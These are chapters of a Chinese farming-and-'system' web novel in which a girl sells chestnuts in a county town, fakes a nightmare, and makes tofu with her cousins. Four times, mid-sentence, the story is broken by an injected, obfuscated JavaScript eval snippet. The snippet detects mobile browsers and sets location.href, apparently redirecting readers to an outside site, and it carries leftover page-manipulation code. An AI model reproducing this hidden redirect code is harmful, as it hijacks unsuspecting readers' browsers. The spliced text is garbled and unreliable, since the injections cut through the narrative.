从村里出来走上一刻钟就是官道,平稳少颠簸,她才睡这么香的。 林只只不好意思的执意要下来走,大家拗不过她,也就算了。 她下来缓缓地靠着板车的边走,大伯父在前面用绳子拉,三叔在后面推,钱氏和林仁林大丫,马氏和林义各一边帮忙。 她迈着小短腿走在林义旁边,林义羡慕地看着林只只,他倒是想坐车啊,只不过过了那个年纪,他要是敢问,他爹一定会抽他的。 此时的林只只却在系统里“刷题”,俗话说,勤能补穷。 她已经养成时刻在交易所答题的习惯了,不论是“技术性”难题,还是幼稚问题,通通来者不拒。 恍惚间好像回到了那些年临近考试通宵临时抱佛脚的时候。 等他们进城的时候,天光已大亮。 等到了市场上,大家便开始找位置摆摊。 林大郎熟门熟路地占了一块儿地,把东西放下后让妻子售卖,又叮嘱钱氏和马氏,“你们把大丫他们看紧了,别乱跑。” “行,你们快去吧。”钱氏应声道。而一边的马氏东西刚摆下没多久就有已经在跟相识的人换起鸡蛋来了。 集市上很少人会用钱,都是用些东西换一换自己需要的。 林大郎看着这边已经摆开的摊子,然后他就推着手推车和林三郎去卖粮食。 林只只早就按捺不住了,她还得找时间把手帕给卖了呢! “大伯母,让我和大哥二哥背些板栗去酒楼试试吧。”她偷偷扯了下林仁的袖子。 林仁见林义也冲他眨眼睛,示意只要他开口,大人们一定会答应的。 林仁无奈,“对,阿娘,还不知道阿爹和三叔他们什么时候回来,我也能照顾弟弟妹妹们了。” 她们还是对林仁比较放心的,听着这话也就答应了,但是也不忘叮嘱,“你一定要看好弟弟妹妹们啊!不要跟陌生人走……” 絮絮叨叨一顿说,怕大人们反悔,林只只他们急忙背了两个背篓各五十斤走,市场只剩钱氏、林大丫和马氏了。 淳安县里最大的酒楼香满楼楼下,两个少年背着背篓带着一个小孩儿站着门口。 “这儿可真气派啊!”林义悄悄地在林只只的耳边说。 他们奇怪的样子引得过路人频频看过来,店小二一边忙一边戒备地看着他们,生怕是乞讨的,打扰到店里的人吃饭。 “喂,你们干什么呢?”几人交头接耳的模样,让店小二实在看不下去了。 “嘿嘿,大哥,你们酒店收不收新鲜的野生板栗啊?”林只只露出自以为最得体最真诚的笑容。 林义连忙把背篓放在地上,给店小二看。 原来是卖东西的,店小二松了一口气,朝他们指道:“看到没,顺着这条街过去第一个路口,从小巷子拐进去有个门,就是酒楼后门,去那里。” 他们酒楼平时是会收一些新鲜的野货野味,倒是第一次见卖板栗的。 林只只他们只好又绕到后门。 一个管事打扮的人走出来,看了他们的板栗,野生的颗粒饱满圆润,够新鲜,点了点头说道:“可以,五十五文一斤。你们有多少我们都收了。” 这个价格倒符合林只只他们的预期,林仁正要说话,林只只拉住他,对管事笑道:“我们这儿有五十斤,全都要了吗?” 对上管事看向另一个背篓的目光,她连忙又说,“剩下的是要送给城里面亲戚尝尝的。” 管事没有计较太多,丢下一句“不要卖给其他酒楼就行”,就让人拿钱,把东西搬进去了。 林仁接过钱,带着他俩往外走。 林义却还傻乎乎的问,“二妹,我们家城里哪来的亲戚啊?” 林只只看着平时那么精明的林义却傻乎乎的,“笨!货比三家,当然卖货也是啊!” 林仁闻言看向她,“这样不好,我们刚才已经答应管事不会卖给其他酒楼的。” 林只只冲两个“老实”的哥哥狡黠的眨来眨眼,“不卖给酒楼,可以卖给其他人啊!” 片刻之后,他们又站在卖炒货的铺子前。 “这能行吗?我们把炒货卖给卖炒货的铺子?”林义犹豫的问。 “错!” “啊?”林义听见林只只的话疑惑了,不是她说的要卖嘛? “二妹的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024933|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思是我们卖的是原料,而不是炒货。”林仁了解到林只只的意图,无奈这个平时看似聪明的二弟今天总是关键时刻掉链子。 他们一进铺子,就有一个一看就是把精明写在脸上的人来接待,他还未开口,就听其中那个女孩问,“我找你们掌柜的!” 他一愣,“我就是掌柜的,你们这是?” 林只只三人立马说明了来意。 掌柜的眼珠子一转,面露难色,“我们这儿供货都是专门的渠道,你们这零售的……再说,到时候出了事儿,你们跑了我都找不到人啊!” 还没等林只只他们说话,他又很为难的说:“算了,看你们小,就给个方便,最多四十文一斤都替你们处理了。” 就连林义都听出来掌柜的“不怀好意来了。 买卖本就是你情我愿。 林只只本来在他话里有拒意的时候就不打算卖了,现在明白了他竟然趁机看他们小就占便宜,就更不想卖了。 所以林只只笑着拒绝了掌柜的“好意”。 掌柜的看着几人离去的背影没有说什么,如果他们货少,不足为惧;如果货多,他们一定还会回来的,毕竟全县就他一家炒货店,才能吃下这么多货物。 这炒货可是稀罕物,县里可不是谁家都买得起的。 林只只他们出来就叹气,“这个掌柜也太不义气了!”林义义愤填膺地说。 “商人重利也正常。”林仁劝他道。 “那现在怎么办?我们还有那么多板栗呢!”林义苦恼地看着林只只他们,果然阿爷说的对,珍贵的东西不好卖。 “我们去有钱人家看看,说不定卖得出去呢?”林只只稍一思忖,大户人家需求应该要多一些吧。 于是他们三人再次转场,却刚好在李府门口遇到了从外面回来的李夫人。 “夫人,是三个背着背篓说卖板栗的孩子。”一个秀丽的丫鬟掀开马车的帘子回禀道。 李夫人朝外看去,见三个孩子虽然看起来贫苦但干干净净,又见他们目光清明不卑不亢的样子就心生好感。 “过几日我们府里得办宴会了,正好做些糕点,都买下来吧。”说完马车就走了。 剩下懵逼的林只只三人被人从角门请进去,背篓被取下来称重。 “多少钱一斤?你们还有吗?”管事丫鬟问。 “姐姐,只要六十文一斤,我们还有一百斤,你们是都要吗?” 为了留点讲价的空间,所以林只只报高了价格。 林只只笑眯眯的又天花乱坠地夸他们家的板栗什么野生天然无污染啊,什么新鲜绝对好吃啊! 孩子都有林只只这么大的管事丫鬟被她叫姐姐,心下高兴,“我们都要了,在哪里我派人去拿吧。”干货放的久不用担心,再说府里人多消耗也大。 这是干脆不讲价,全部买下了。 果然,大富人家就是不一样! 林只只笑得更开心了,“姐姐,让我二哥给你们带路吧,就在市场里。” 林义跟着一个小厮回去了,林仁今天算是见识了什么叫天花若坠,口如悬河。 林只只笑着和管事丫鬟聊天,不仅坐下了,还成功蹭到了水喝,什么我们的板栗有益气,厚肠胃,补肾气的好功效;而且这是野生的,壳薄而脆,一捏即开,绝对好吃。 明明她都没有吃过这个板栗,算了,林仁默默收回眼光,在一旁安静的听林只只“吹牛”。 8. 第8章 等最后三人出了李府,看着林只只欢快的朝管事丫鬟挥手道别,还得了一句,“小妹妹,以后有这样好的栗子都送这儿来啊!我们李府上下这么多人还有不少亲戚呢!”的承诺。 果然,无论多大年龄差的女人都能凭借八卦快速地建立“姐妹情”。 “接下来我们去哪?”林义掂了掂手里的一麻袋钱,笑得牙齿都看不见了。 “去趟布庄吧。”林只只拍板道,她还得把阿娘绣的帕子给卖了。 只不过最后,好消息是,布庄以每条十五文的价格收了林只只的那五条帕子;林只只观察了一下店里卖的帕子价格,心里合算一下,他们转卖出去也才赚一两文,没有因为看自己是个小孩子就欺负人。 布和线都是自己家的,店家给的这个价钱也算合理。但好歹给的是铜钱,也能补贴些家用,她满意地点点头。 不过坏消息是,她被告知,布庄已经聘了新绣娘,不额外收其他人绣的了。 林只只揣着这四十五文也舍不得买东西了,跟着哥哥们回到市场,看来光赚积分不行啊,还是得想来钱的法子。 林大郎他们也才卖了粮食回来,钱氏他们正苦恼着呢,才秋收完,谁家也不缺粮食,所以粮价也往下降了,以前十文一斗谷,现在只有八文了! 等看见林只只他们拿着那么多钱回来震惊不已,刚才林义带着人来拿板栗,他们也没时间多问,自然不知道价格几何。但是惊讶之余,更多的就是高兴了。家里有了进项,不至于那么紧巴巴的了。 林三郎咂舌道,“要不然大家怎么都说商人赚钱呢?这可真是暴利啊!” 钱氏这么一想也对,卖了那么久的鸡蛋才三文钱两个,花费半天才能编成一个的竹编就卖十五文一个,这果子一斤就值几十文呢! 她实在不理解,果子哪有肉好吃啊?她是这么想的,也是这么说的。 马氏不赞同道,“人家有钱人自然不在乎这么点钱,肉都吃腻了,可不得吃点野味!” 见马氏一副“你懂啥”的表情看着她,钱氏心中忍不住恼火。 眼见两人又要吵架了,众人及时制止。 又去其他地方换了林阿奶交代的“茶油酱醋”还有一些日用品。 买了几斤大筒骨,这个没什么肉,但是便宜,好给罗氏熬汤喝补身体。 大家又打道回府,又是几个时辰的路,见几个孩子都有些恹了,就知道他们都饿了,钱氏便从背篓里摸出两张饼,撕开来分给他们,“喏,就着水吃一点儿,马上就到家了。” 从大伯母那里接过小半张饼,林只只和林大丫分开来啃了啃,就着水吃了点胃才好受一些。 还是舍不得,如果一大家子在城里吃,那今天赚的还不够花。当然他们是下意识忽略了卖板栗的钱。 回到家已经是下午了。 见大家并没有打算马上宣布今天的“战果”,林只只还想着山上的板栗,于是她拉着大伯父说:“大伯父,我们山上的板栗还有那么多呢!” 林大郎奇怪的挠挠头,“我们地上的都捡完了,树上倒是有还没熟的。” 林只只半晌无语,原来是那天林义他们只看见林只只捡了地上的,后来再去的时候也只捡了地上的,于是这就造成了循环误解。 “不是的,大伯父。这摘板栗呢,一种是在地上拾已经开裂了的;另一种是用竹竿把黄的栗苞打下后放十天左右,开裂后剥开也行。”林只只解释道。 这一下大家恍然大悟,于是勤劳的林家人决定趁天还没有黑再去一趟,这一次连钱氏和马氏都跟着去了。 毕竟这么值钱的东西可不能放任野外啊! 其实林只只表示不用这么急的,奈何实在抵挡不住大家的热情。 家里又只剩下大丫三丫,以及二房一家人了。 大丫准备做晚饭,三丫和林小四跟在她屁股后面转,林二郎去挑水了。于是林只只偷偷溜进房里看罗氏去了。 “阿娘,这是今天卖手帕的钱,可惜布庄说,他们有了专门的绣娘,以后不收了。”林只只见罗氏已经看见自己进来了,她踌躇着把钱递给了她。 罗氏脸上只有一瞬间的失落,“好,阿娘知道了。”她停下手中正在缝补的衣服。 农家人干活废衣服,时常需要缝补。秋天来了一降温,大家就会穿上两层的“裌衣”。 如果是冬天再冷一些,他们就会在两层麻衣之间塞入各种各样可以保暖的东西,譬如麻丝、木屑、芦苇、鸭毛、鹅毛等等各种能找到的玩意。 他们盖的被子也是诸如此类,所以一件或一床好的冬衣被子可以算得上是几代人的财产。 林只只看罗氏没有要跟她说什么话了,她就又看了看弟弟妹妹片刻,默默的出去了。 此时只剩下林只只一个人没有事儿干,她在院子里转了两圈,又跑到厨房去了。 因为家里人大多都不在,所以安排了林大丫做饭,简单一些吃食她还是能做的。 林大丫踩在凳子上揉面,应该是要蒸饼。林只只想冲过去帮忙,可突然发现自己现在的小身板比林大丫还不如。 悻悻而归的林只只赶走了林小四和三丫,坐在小凳子上烧火,好在火灶燃着火,她可用不来这种土灶台啊! 闻着一股豆香的林只只好奇地问:“大丫姐,这煮的是豆饭吗?” 脸皮够厚的林只只现在已经毫无心里压力叫各位比她小的人哥哥姐姐了。 就在林只只心里想着豆饭不好吃,但是可以拿来做豆腐、豆腐皮、五香豆腐干、姑苏糟豆腐、臭豆腐、豆腐乳的各种好吃的的时候。 她越想越雀跃,那得找一个什么借口呢? 就听见一道小小的声音,“嗯。” 就在林只只怀疑是不是自己听错了,过了一会儿,这次可以清晰的听见林大丫回答说:“是煮的豆饭……” 林只只有点好奇和无奈,林大丫这么小声说话是怕声音太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024934|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大把谁给吓死了吗? 为了多打一些板栗,林家人回来得有些晚,今天他们家罕见的点了煤灯吃晚饭。 等吃过晚饭,林阿爷把所以人聚集起来准备开家庭会议宣布大事儿,当然也包括了罗氏在内。 林家没有分家,赚的钱都要交公,当然吃喝都是公中出的。但是林大郎他们都已经成家了,手里没有钱也不方便。所以现在只是地里的收成公中收着,但各家其他途径赚的钱,他们只收六成,剩下的四成给各家收着。 所以第一件大事儿,就是分钱! 林大伯把麻袋里的钱放在桌上,林仁来汇报的具体情况。 “酒楼那以五十五文一斤,卖了五十斤,李府处以六十文一斤卖出去一百六十斤。所以一共是一万二千三百五十文!合计起来也有十二两多呢。” 农家人老实种庄稼一年最多也就攒三五两,这次一次就得了这么多钱,大家感觉一点也不真实,脑袋晕乎乎的。 被众人眼睛亮晶晶地看着他的林阿爷用烟杆敲了敲桌子,“行了,还是老规矩。六成归公中,四成你们各家分了吧。这次二丫功劳大,二房虽然出的力不多,但也和你们占一样的份儿数。” 大房和三房没有意见,过日子就得这样,家人之间如果算得太清,一家人是过不下去的。有些事儿是不能马虎,但有些事儿也不能太计较。 平时的确钱氏和马氏干的活比罗氏多,田里的活林大郎和三郎干的多。 但林二郎干木匠的活赚的钱多,罗氏也绣花补贴,他们上交的六成可算是公中占了便宜。 刚才罗氏就交了二十七文呢,大家都看见了。 林只只也没有意见,因为就算板栗是她发现的,就她家现在一个残,一个坐月子,剩下的全是小孩,也没办法赚到这么多。 “阿仁,你来具体给大家算一下吧。”见阿爷趁机考较起来自己,林仁从容不迫的算给大家看。 “除去交公中的钱,余下的四成有四千九百四十文,分成三份儿,”他顿了一下看向林阿爷,又接着说,“因为不能整分,公中多出一文,每家可以分到一千六百四十七文。” 李府结的银子是一个五两和四个一两和一些铜钱,加上酒楼结的零钱完全够分了。他先给每家一两银子,又从串好的钱串上给每家拆了六百四十七文。 好多啊!等大家把钱拿到手上了,更能真真切切的感受到钱的份量了。 “那个,阿娘啊,我们可不可以把银子换成铜钱啊?”钱氏觉得还是铜钱沉甸甸的摸着有感觉。 林阿奶点头同意了,毕竟银子好收捡,一麻袋钱看着也怪心慌的。 其他两家并没有提出要换,毕竟银子看着也很赏心悦目啊! “还有一件事,这几天你们把山上的板栗都敲下来晒,家里的活儿我跟你们阿奶先干着。”林阿爷最后把任务也分配好了。 一散会,各家携妻带子回房,说不定又要说不久的悄悄话呢。 9. 第9章 此时,林家二房。 林只只正一脸震惊地看着她阿爹阿娘。 “去吧,你阿爹这两天偷偷给你们准备的,你们也长大了。”罗氏看着最近一直成熟稳重的林只只现在终于露出一点“孩子气”有点好笑。 原来她这几天没怎么看见她爹呢,原来是去做床了啊! 没错,林二郎他们在外间里侧用麻布拉起隔开了一个空间,还在里面摆上了两张小床。 说是小床,其实就是木板铺的,搭上棕叶做成的垫子,但是意外看起来还不错。 林小四快乐得像一只小鸟一样飞奔上去,“太好了,我可以和阿爹阿娘阿姐和弟弟妹妹们一起睡了!” 这几天,罗氏身子不好,加上两个孩子半夜闹腾,林小四都是和林阿爷他们一起睡的。 他一个人也没有落下,在林小四心里,睡在一个房间也是睡在一起了。 林只只也很开心。 最后,她安心地躺在床上,心生一计,虽然有点不靠谱,但是也算给她接下来的计划找了个借口。 【宿主,任务榜更新了,您是否要查看?】因为之前系统自查清除病毒了一次,所以任务榜到现在才真正开启。 “要!”林只只连忙去系统里看到底是什么任务,然后她今天第二次震惊了! 因为任务的前两栏赫然是 “任务一:古种白菜种子,2000积分 任务二:古种萝卜种子,2000积分” 这年头,运气来了挡都挡不住啊!林只只简直想抱着系统打几个滚,她现在空间里还有一大堆白菜萝卜种子了,不愧是上天选中的人啊,林只只! 她在心里不断默念道。 提交了任务,领取了积分,林只只只觉得人生美妙。 ? 次日,林只只其实已经提前醒了,但是她还是躺在床上竖着耳朵听院子里的动静,确认已经有不少人起来了,她坐起来开始闭着眼睛大哭。 这一动静顿时吓到了不少人。 罗氏率先进来搂着她,心疼孩子的林二郎急忙冲进来,要知道林二丫这孩子以前很少哭的。 连林小四都被她姐姐“豪放”的哭声吓醒了。 一家人手忙脚乱地安慰她,可是怎么也止不住林只只只管往下掉金豆豆。 林只只几乎把这辈子上辈子所以伤心的事儿想了个遍,好不容易凑几滴眼泪,那也是雷声大雨点小,见门口聚集的人影够多了。 她嘴一扁,开口就嚎,“人,好多奇怪的人……还有一个白胡子老爷爷……走,他让我走……” 林只只脸不红心不跳地瞎说八道。 她边说还边打哭嗝,小孩子的话毫无逻辑,大家只当是梦魇了,哄着她。 小孩子吓着了可不行,林阿奶慌忙地给林只只额头上抹了一把锅底灰,又把门窗打开,冲她喊,“二丫,二丫,回家了诶!” 想着脸上一脸锅底灰,林只只她忍了,谁叫自己作孽,只有自己受着了。 虽然荒诞了点,但是这是她几日来想出来最好的借口。 毕竟是在古代,这个时候,对于鬼神,世人都是敬畏的,她必须得给自己安一个说得过去的名头,不然怎么解释她突然的变化。 看样子,大家反应不错嘛,应该有效果。 因祸得福,因为林只只被吓着这件事,她这几天都被要求乖乖躺在床上,还蹭到了专门熬给罗氏补身子的汤。 时光漫长无聊,林只只只有在系统里刷积分,看着经过自己这么久的努力,积分已经快突破欠债大关,她差点泪流满面。 是夜,堂屋里。 林阿奶一副沉思的模样对着林阿爷说话,“你说,二丫这一次会不会……” 林阿爷瞥了她一眼,手又摸向挂在腰间的烟杆,“倒是有可能,这孩子越来越机灵了。” 他“吧嗒吧嗒”的抽了几口烟。 林阿奶看不过他这个样子,一把把烟杆给他夺了,“抽抽抽……几十年了,抽不死你个烟鬼!”说罢,卷到铺盖里面去不说话了。 林阿爷沉默不语,他还想着事儿。 其实是那时候林二丫两岁多了,经常惊疚,林阿奶就去山上庙里求了符,但还是不管用,就只好找个借口偷偷把林二丫带到观里找道士看了一下,因为二儿媳并不信这些东西。 结果道士看了之后,告诉他们小孩子是先天不足,缺了一魄,能不能找回来就得凭机缘了。 若是好了,这以后可是富贵的命格啊! 林阿奶回去也没敢和罗氏说,因为她那个时候正怀着孩子怕吓着,就只告诉了林阿爷。 两夫妻就这么瞒着,看着林二丫一天天长大,倒也不像以前那样了。直到最近看见林二丫透出这股机灵劲,他们才真正相信了老道士的话。 林阿爷思虑过后,还是决定知会老二、老二媳妇和家里人一声,以免到时候产生不必要的麻烦。 林只只躺着摆烂了几天后,发现自己爹娘看自己的眼神越发奇怪,仿佛心疼透着自责和懊悔。 她不解地挠挠头,难道古代做噩梦的忌讳这么大吗?她会不会过犹不及啊? 她哪里知道其实林二郎和罗氏是在自责最近因为家里变故太多,没有关注到女儿的变化。也是在自责小时候忽略了孩子,这么多年没有发现不对的地方。 越是愧疚越是想要补偿她,于是最近越发关注她,烦得林只只都不能频繁进系统了。光是装个梦魇都这么吓人,要是发现她老是走神,还不以为自己魂儿被勾走了? 于是无聊的她只能把目光转向一样跟她备受关注的小婴儿身上。 林只只趴在床边看着这对双胞胎,他们已经长开了一点儿,脸不再红皱皱的,哭声也不像刚开始那么弱了。 她逗着双胞胎玩,罗氏就坐靠在一边看着他们,不知道在想什么。 罗氏大概是那瓶药剂的原因,不仅这次病好了,就连以前身体的暗疾也被治好了。 她现在觉得自己比以前还要健康,直接可以下床干活了,可惜家里觉得她当时情况那么危急,还是要多养一养。 小孩儿才出生没几天,哪里会有多余的反应,过了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024935|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿林只只就觉得无聊了。 她觉得自己再这么待下去,身上都要发霉了,前几天系统发布的最后一个任务只剩下最后一天的期限了,她还想碰碰远气看能不能完成呢。 “阿娘,我想出去玩!”罗氏现在对林只只是绝对的放纵,而且见她这么几天无事,应该也好的差不多了,就点头同意了。 林只只出了门,大吸一口空气,感觉外面的空气都是自由的。 林二郎看见自家闺女那傻样,忍不住乐呵,“你大丫姐在河边洗衣服,去那儿看看吧。” 他说罢又低头晾晒地上的栗苞,这几天他们家把附近山上的板栗都敲回来了,再晒几天应该就能剥出来。 而林大郎和林三郎则被何地主选上,这几天按点地去地里收粮食。 林只只心里惦记着想做豆腐的事儿,可是她自己又不太行,心下决定给自己找点帮手。 看了一眼太阳,现在应该还算是早上,时间还早。她去帮大丫洗了衣服,说不定还能把豆腐给做出来。 于是林只只抬脚就往河边走,这条河贯穿了长兴村,自西向东而流,离林家不远。 不料,走在半路上的林只只恰巧碰到了林义和林礼,她突然觉得,有了个好办法可以更节约时间。 于是林义就看见林只只一脸“狡诈”地在不远处冲着他笑,脊梁发寒,下意识就扯着林礼的袖子想要离开。 林礼奇怪的看着他,“二哥,怎么了?那是二丫在朝我们打招呼。” 林义看着不明所以还一脸老实的林礼已经朝林只只走过去了。同时他摸了摸自己胳膊上的鸡皮疙瘩,奇怪,他为什么有一种浑身发毛的感觉? “二哥,三哥,你们可不可以帮我一个小忙啊?”林只只把她的计划详细地告诉了林义和林礼。 谁知听完后,最先炸毛的不是一向老实的林礼,反倒是林义,“不行,万一出了什么事,我肯定最先被抽。” 林家倒是不重男轻女,但如果是谁犯了事儿,先被收拾的一定是最大的。 林只只又把好处摆在明面上,见林义一副低头不说话,但是态度很明显的样子。 她眯了眯眼,“如果你不答应我,我就告诉阿奶,上次是你……呜…呜呜” 还没说完,林义就一把捂住了林只只的嘴,“行行行,我答应你还不行吗?只不过到时候你们可不能丢下我一个人跑了啊?” 说着,他便用眼神“威胁”了一下旁边的林礼。 林礼也表明了会帮忙的态度,反正闯祸天塌下来了有大的在前面顶着,再不济还有林只只这个罪魁祸首。看来林礼也没有大家眼里的那么老实嘛。 林只只这么想着,兄妹俩对视了一眼,便各自行动起来了。 河边的大榕树下,阳光从所剩无几的叶片缝隙里穿透,河面上微风乍起,细浪跳跃,搅起满湖碎金。 此处是一个壶型的浅滩,地形开阔,有不少被河水冲刷得十分干净的石头。 河边已经有不少大姑娘小媳妇在洗衣服,劳作之间还不忘相互打趣儿,讲讲闲时听来的八卦。 10. 第10章 “大丫姐!”林只只老远处就看见她了,跑到面前蹲下就帮她洗起来衣服。大丫回头看见,腼腆的笑笑不说话。 “哟,这不是二丫吗?怎么见到人也不喊啊?”旁边一个挽着妇人发型的女子打量着林只只,眼神有些得意。 她就是故意刁难的,谁不知道林家这个二丫头傻乎乎的,对外反应很慢。 “许大娘……”林只只看清面前站着的人,原来是村长家的大媳妇儿。 原本她阿爷是童生,也有资历做做村长的,就是不知道为何让给了小一辈儿的林大山家,老一辈没什么,倒是两家的后辈有些合不来。 河边的人没料到林只只会这么回嘴,一个个都停下动作,才去细看她。 “哈哈,许大婶啊,人家二丫的年纪叫你大娘也不差啊?”静谧不过一会儿,一阵嘲笑打破了这种诡异的氛围。 看着许氏一脸菜色,林只只看向刚才发声的人。 “原来是陈姐姐啊。”林只只打招呼道,对于对她友好的人,林只只向来不吝啬自己的善意。 “哼……没大没小的毛丫头。”许氏小声嘟嚷,脸色不好看地把手中的衣服甩到水里。 那陈氏还不是跟她一般年纪也好意思叫姐,可毕竟是一个村里的,低头不见抬头见的,她也不好跟一小孩儿闹得太难看。 “二丫,”林只只见大丫扯了扯自己的袖子,有让她不要闹大的意思,也就见好就收,依旧脸上笑眯眯当没有听见陈氏的话。 陈氏一拳打在棉花上,心里憋屈就急急收拾东西回去了。 林只只才没功夫搭理她呢,快速帮大丫的衣服洗完就往回走,心里想着不知道二哥他们准备好了没有? 可惜回到家林只只并没有看见他们人,“难道还在磨坊?” 林大丫看见林只只在院子里转了两圈又往外走,连忙拉住她,“二丫,你怎么了?你在找什么啊?” “哦,大丫姐,我找二哥他们呢,可能是在磨坊。”林只只拉着大丫,真是,她差点把大丫给忘了,“我们去那里看看吧。” 虽然林大丫奇怪,林义他们怎么跑到磨坊去玩了,但是还是被林二丫拉着走了。 村子里只有一个磨坊,里面有两口磨,都在林家祠堂不远处的一个茅草亭里。这是村里专门修建的,大家一般会在这里磨面粉和舂米之类的。 等到林只只过来的时候,林义他们已经快要把豆子都给磨好了。 “二妹,你胆子也太大了吧!”要知道林义回去真的在杂房里找到一盆用水泡着的豆子的时候,他魂儿都要吓飞了,虽说豆子不怎么值钱,但是被糟蹋了可不行啊。 但最后迫于林只只的威胁,他只好乖乖的来磨坊按照她的要求给磨成浆,所以一看见林只只,他就黑着一张脸。 偏偏林只只不在意他的目光,笑嘻嘻的跑上前来看盆里磨好的豆浆。 被水泡过之后的黄豆变成一粒粒白胖子再被磨成浆,她小手一拍:“太好了,我们可以做豆腐了!” 林义见她根本就无视自己,独自生着闷气看着林只只和林礼把盆给抬回去了。不过看着只有林大丫一脸茫然,知道得比他还少的样子,他心里反而平衡多了。 回到家,幸好家里没有大人了,要不然他们的计划绝对“胎死腹中”。 如果林义听见她的心里话,绝对吐槽千万别带上他。 林只只就开始张罗着各种工具,找一些麻布来刚好可以用来过滤豆渣,她一边忙碌一边回忆过程:水浸、破碎、去渣、蒸煮,以盐卤汁沉淀,就釜收入。 对了,还要煮! 看见在院子里走来走去忙得像只小蜜蜂的林只只突然回头对她笑,林大丫不禁抖了一下,“大丫姐,你帮我升火好不好?我们来做豆腐……” “什么叫豆腐?”林大丫低着头小声问。 “嗯,就是一种吃食,白白嫩嫩的,等我做出来了你们就知道了……”林只只讨好地冲林大丫笑笑,林大丫不好拒绝别人也就答应去了。 只见林只只转过头来又的朝林义林礼道:“还不过来帮忙?” 唉,算了,贼船都上了,看来只有干到底了,只希望二丫到时候真的能把那啥豆腐做出来,说不定还能逃过一劫。 林义林礼只好认命地又去帮忙。 他们先是把豆渣放在麻布里,用力挤压将水过滤到盆里,又倒入锅里去煮。大火不一会就烧开了,锅里咕噜咕噜的冒泡,一股豆香味飘了出来。 其实如果失败了,这豆浆闻起来也蛮好喝的,林义咂吧咂吧嘴。 就在林义想得入神的时候,林只只又把锅里的豆浆舀到盆里静置等冷却。 院子里的动静把屋里玩儿的林小四和三丫都引出来了,于是四大两小就围着盆蹲在地上。 “阿姐,这是什么啊?好香啊!”林小四鼻子凑上去闻闻,三丫也学着他的样子,使劲耸动着鼻子闻。 “这是豆腐,等下阿姐做好了给你们尝尝。”林只只骄傲地仰着头,被林小四他们“阿姐好厉害”的眼光注目下,实在太有成就感了。 见时间差不多了,林只只正准备把先前准备好的盐卤给放进去,看到几个小孩儿期待的目光,她突然决定可以做一点豆腐脑先给他们尝尝,就单独舀回去一些到锅里。 加了盐卤的豆浆不一会儿就开始凝固了,她把一部分舀起来放在麻布里再放到前两天她爹帮忙做的方形木盒中,木盒子下面有空隙可以渗水。 把麻布包好,上面用一些重物压着,不到一个时辰就可以做出豆腐啦。 林只只拍拍手,一幅大功告成的模样。 看着之前的盆里还剩一些豆浆,林只只又上手做一些豆腐脑。 众人看见她一顿操作,将卤水,分次均匀地点入豆浆,轻轻搅拌,奇妙的转化就此开始,蛋白质凝结、沉淀环抱在一起便形成了豆花。 当然林义他们并不知道这些名词,只看见刚才的什么豆浆凝成一块一块的都觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024936|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神奇不已。 “好了,加一点糖的话会更好吃的哟。”林只只冲他们看看,意味明显。 林小四见终于有他用武之地的时候了,马上兴奋的举起手,“阿姐,我知道哪里有红糖!” 这个时代糖对于一般百姓是很宝贵,当然是因为林小四曾歇在林阿奶他们屋里偶然间看见了。 林只只拿碗用开水冲化了一些红糖,用筷子搅匀了,又用其他的碗在锅里各舀半勺,递给蹲守在锅边眼巴巴的看着都快流下口水了的林小四几人。 林小四和三丫捧着碗,盯着林只只给他们碗里倒了一些糖水,等不及地拿着勺子舀。 一入口,他们马上瞪圆眼睛。 其他几个人还比较矜持,但是吃着吃着眼睛也是亮晶晶的。 豆花的口感紧实绵密,入口滑嫩,加上糖水甘甜,豆香味浓郁,实在是太美味儿了。 “阿姐,这个豆花好好吃!”林小四和三丫眼睛闪闪发光地看着林只只。林义嘴里含着东西和林礼也忙不迭地点头符合,连大丫也很羞涩地赞同。 “那是当然!”林只只如果现在有尾巴的话,一定早就得意忘形翘到天上去了。 如果加上蘸料的话,红油鲜亮,辣椒辛香,配上一碗白米饭,简直好吃得舌头都能吞下去。 